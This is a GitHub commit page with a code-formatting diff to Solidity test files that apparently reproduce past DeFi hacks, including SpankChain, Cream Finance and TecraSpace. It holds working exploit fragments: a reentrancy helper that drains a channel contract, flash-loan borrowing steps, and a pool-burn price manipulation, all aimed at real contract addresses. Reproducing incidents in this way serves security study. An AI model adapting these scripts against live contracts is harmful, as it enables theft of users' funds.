Skip to content

Commit

Permalink
chore(src): forge fmt /4
Browse files Browse the repository at this point in the history
Signed-off-by: jsvisa <delweng@gmail.com>
  • Loading branch information
jsvisa committed Nov 4, 2024
1 parent 97df63d commit 2baf1a4
Show file tree
Hide file tree
Showing 171 changed files with 3,721 additions and 2,283 deletions.
38 changes: 22 additions & 16 deletions src/test/2018-10/SpankChain_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -13,9 +13,9 @@ import "../basetest.sol";
// Vulnerable Contract Code : https://etherscan.io/address/0xf91546835f756DA0c10cFa0CDA95b15577b84aA7#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
// Post-mortem :
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;

interface ISpankChain {
Expand All @@ -26,9 +26,11 @@ interface ISpankChain {
address _token,
uint256[2] memory _balances // [eth, token]
) external payable;
function LCOpenTimeout(bytes32 _lcID) external;
function LCOpenTimeout(
bytes32 _lcID
) external;

event DidLCOpen (
event DidLCOpen(
bytes32 indexed channelId,
address indexed partyA,
address indexed partyI,
Expand Down Expand Up @@ -56,24 +58,28 @@ contract SpankChainExploit is BaseTestWithBalanceLog {
payable(address(0x0)).transfer(5 ether); //simulation replay flashloan
}

fallback() payable external {}
fallback() external payable {}
}

contract SpankChainExploitHelper {
ISpankChain spankChain = ISpankChain(0xf91546835f756DA0c10cFa0CDA95b15577b84aA7);
uint256 limit;
uint256 count = 1;
function exploit(uint256 c) payable public {

function exploit(
uint256 c
) public payable {
limit = c;
uint256[2] memory balances;
balances[0] = 5000000000000000000;
balances[0] = 5_000_000_000_000_000_000;
balances[1] = 1;
spankChain.createChannel{value: 5 ether}(
hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45",
msg.sender,
type(uint256).max - block.timestamp + 1,
address(this),
balances);
msg.sender,
type(uint256).max - block.timestamp + 1,
address(this),
balances
);
spankChain.LCOpenTimeout(hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45");
payable(msg.sender).transfer(address(this).balance);
}
Expand All @@ -85,10 +91,10 @@ contract SpankChainExploitHelper {
}
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool){

function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
return true;
}
}

fallback() payable external {}
fallback() external payable {}
}
8 changes: 6 additions & 2 deletions src/test/2020-12/Cover_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,13 @@ import "forge-std/Test.sol";
import "./../interface.sol";

interface Blacksmith {
function claimRewardsForPools(address[] calldata _lpTokens) external;
function claimRewardsForPools(
address[] calldata _lpTokens
) external;

function claimRewards(address _lpToken) external;
function claimRewards(
address _lpToken
) external;

function deposit(address _lpToken, uint256 _amount) external;

Expand Down
20 changes: 15 additions & 5 deletions src/test/2021-08/PolyNetwork_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -16,22 +16,32 @@ interface IEthCrossChainManager {
}

interface IEthCrossChainData {
function putCurEpochStartHeight(uint32 curEpochStartHeight) external returns (bool);
function putCurEpochStartHeight(
uint32 curEpochStartHeight
) external returns (bool);
function getCurEpochStartHeight() external view returns (uint32);
function putCurEpochConPubKeyBytes(bytes calldata curEpochPkBytes) external returns (bool);
function putCurEpochConPubKeyBytes(
bytes calldata curEpochPkBytes
) external returns (bool);
function getCurEpochConPubKeyBytes() external view returns (bytes memory);
function markFromChainTxExist(uint64 fromChainId, bytes32 fromChainTx) external returns (bool);
function checkIfFromChainTxExist(uint64 fromChainId, bytes32 fromChainTx) external view returns (bool);
function getEthTxHashIndex() external view returns (uint256);
function putEthTxHash(bytes32 ethTxHash) external returns (bool);
function putEthTxHash(
bytes32 ethTxHash
) external returns (bool);
function putExtraData(bytes32 key1, bytes32 key2, bytes calldata value) external returns (bool);
function getExtraData(bytes32 key1, bytes32 key2) external view returns (bytes memory);
function transferOwnership(address newOwner) external;
function transferOwnership(
address newOwner
) external;
function pause() external returns (bool);
function unpause() external returns (bool);
function paused() external view returns (bool);
// Not used currently by ECCM
function getEthTxHash(uint256 ethTxHashIndex) external view returns (bytes32);
function getEthTxHash(
uint256 ethTxHashIndex
) external view returns (bytes32);
}

contract ContractTest is Test {
Expand Down
8 changes: 6 additions & 2 deletions src/test/2021-08/WaultFinance_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,12 @@ import "./../interface.sol";
// tx
// https://bscscan.com/tx/0x31262f15a5b82999bf8d9d0f7e58dcb1656108e6031a2797b612216a95e1670e
interface WUSDMASTER {
function stake(uint256) external;
function redeem(uint256) external;
function stake(
uint256
) external;
function redeem(
uint256
) external;
function maxStakeAmount() external;
}

Expand Down
4 changes: 3 additions & 1 deletion src/test/2021-08/XSURGE_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,9 @@ interface IpancakePair {
}

interface Token {
function balanceOf(address account) external view returns (uint256);
function balanceOf(
address account
) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);
}
Expand Down
38 changes: 28 additions & 10 deletions src/test/2021-10/Cream_2_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -21,8 +21,12 @@ interface YVaultPeakProxy {
}

interface IYearnVault {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function deposit(
uint256 amount
) external;
function withdraw(
uint256 amount
) external;
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
}
Expand All @@ -39,20 +43,28 @@ interface ICurveDepositor {
}

interface ICether {
function borrow(uint256 borrowAmount) external returns (uint256);
function borrow(
uint256 borrowAmount
) external returns (uint256);
function mint() external payable;
function underlying() external view returns (address);
}

interface ICrToken {
function borrow(uint256 borrowAmount) external;
function mint(uint256 mintAmount) external;
function borrow(
uint256 borrowAmount
) external;
function mint(
uint256 mintAmount
) external;
function underlying() external view returns (address);
function getCash() external view returns (uint256);
}

interface IComptroller {
function enterMarkets(address[] memory cTokens) external;
function enterMarkets(
address[] memory cTokens
) external;
// function getAccountLiquidity() external view returns(address[] memory markets);
}

Expand All @@ -66,13 +78,15 @@ contract SecondContract {
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;

function justDoIt(address paramAddress) public {
function justDoIt(
address paramAddress
) public {
contractAddress = paramAddress;
address[] memory assets = new address[](1);
assets[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 524_102 * 1e18;
uint256[] memory modes = new uint[](1);
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
console.log("[7. Aave FlashLoan 524_102 WETH]");
AaveFlash.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
Expand Down Expand Up @@ -318,11 +332,15 @@ contract ContractTest is Test {
ICether(crETH).borrow(523_208 * 1e18);
}

function borrowTokens(address token) internal {
function borrowTokens(
address token
) internal {
ICrToken(token).borrow(ICrToken(token).getCash());
}

function withdrawUnderlying(address token) public returns (uint256 amount) {
function withdrawUnderlying(
address token
) public returns (uint256 amount) {
address underlying = ICrToken(token).underlying();
amount = IERC20(underlying).balanceOf(address(this));
}
Expand Down
18 changes: 13 additions & 5 deletions src/test/2021-10/IndexedFinance_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -238,7 +238,7 @@ contract IndexedAttack is BNum, IUniswapV2Callee, Test {
IIndexPool indexPool = IIndexPool(DEFI5);
indexPool.gulp(SUSHI);

uint256[] memory minAmountOut = new uint[](7);
uint256[] memory minAmountOut = new uint256[](7);
for (uint256 i = 0; i < 7; i++) {
minAmountOut[i] = 0;
}
Expand Down Expand Up @@ -305,7 +305,9 @@ contract IndexedAttack is BNum, IUniswapV2Callee, Test {
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function balanceOf(
address account
) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

Expand All @@ -318,7 +320,9 @@ interface IIndexPool {

function exitPool(uint256 poolAmountIn, uint256[] calldata minAmountsOut) external;

function gulp(address token) external;
function gulp(
address token
) external;

function swapExactAmountIn(
address tokenIn,
Expand All @@ -332,12 +336,16 @@ interface IIndexPool {

function getTotalDenormalizedWeight() external view returns (uint256);

function getBalance(address token) external view returns (uint256);
function getBalance(
address token
) external view returns (uint256);
}

interface IMarketCapSqrtController {
function updateMinimumBalance(IIndexPool pool, address tokenAddress) external;
function reindexPool(address poolAddress) external;
function reindexPool(
address poolAddress
) external;
}

interface IUniswapV2Pair {
Expand Down
8 changes: 6 additions & 2 deletions src/test/2022-01/Qubit_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,12 @@ interface IQBridge {

interface IQBridgeHandler {
// mapping(address => bool) public contractWhitelist;
function resourceIDToTokenContractAddress(bytes32) external returns (address);
function contractWhitelist(address) external returns (bool);
function resourceIDToTokenContractAddress(
bytes32
) external returns (address);
function contractWhitelist(
address
) external returns (bool);
function deposit(bytes32 resourceID, address depositer, bytes calldata data) external;
}

Expand Down
28 changes: 17 additions & 11 deletions src/test/2022-02/TecraSpace_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ import "./../interface.sol";
- Attack Tx: https://phalcon.blocksec.com/explorer/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154
*/
interface IUSDTInterface {
function approve(address spender, uint value) external;
function approve(address spender, uint256 value) external;
}

interface ITcrInterface {
Expand All @@ -22,8 +22,19 @@ interface ITcrInterface {
}

interface IUNIswapV2 {
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}

interface IPairPoolInterface {
Expand Down Expand Up @@ -56,9 +67,7 @@ contract ExploitTest is Test {
ITcrInterface(TCR).approve(pool, type(uint256).max);

emit log_named_decimal_uint(
"Exploiter USDT balance before attack",
IERC20(usdt).balanceOf(address(this)),
IERC20(usdt).decimals()
"Exploiter USDT balance before attack", IERC20(usdt).balanceOf(address(this)), IERC20(usdt).decimals()
);
uint256 wethAmount = address(this).balance;
address[] memory path = new address[](3);
Expand All @@ -69,19 +78,16 @@ contract ExploitTest is Test {

IUNIswapV2(route).swapExactETHForTokens{value: wethAmount}(1, path, address(this), deadline);
uint256 poolTCRbalance = IERC20(TCR).balanceOf(pool);
ITcrInterface(TCR).burnFrom(pool, poolTCRbalance - 100000000);
ITcrInterface(TCR).burnFrom(pool, poolTCRbalance - 100_000_000);
uint256 attackerTCRbalance = IERC20(TCR).balanceOf(address(this));
IPairPoolInterface(pool).sync();
address[] memory path2 = new address[](2);
path2[0] = TCR;
path2[1] = usdt;
IUNIswapV2(route).swapExactTokensForTokens(attackerTCRbalance, 1, path2, address(this), deadline);


emit log_named_decimal_uint(
"Exploiter USDT balance after attack",
IERC20(usdt).balanceOf(address(this)),
IERC20(usdt).decimals()
"Exploiter USDT balance after attack", IERC20(usdt).balanceOf(address(this)), IERC20(usdt).decimals()
);
}
}
Loading

0 comments on commit 2baf1a4

Please sign in to comment.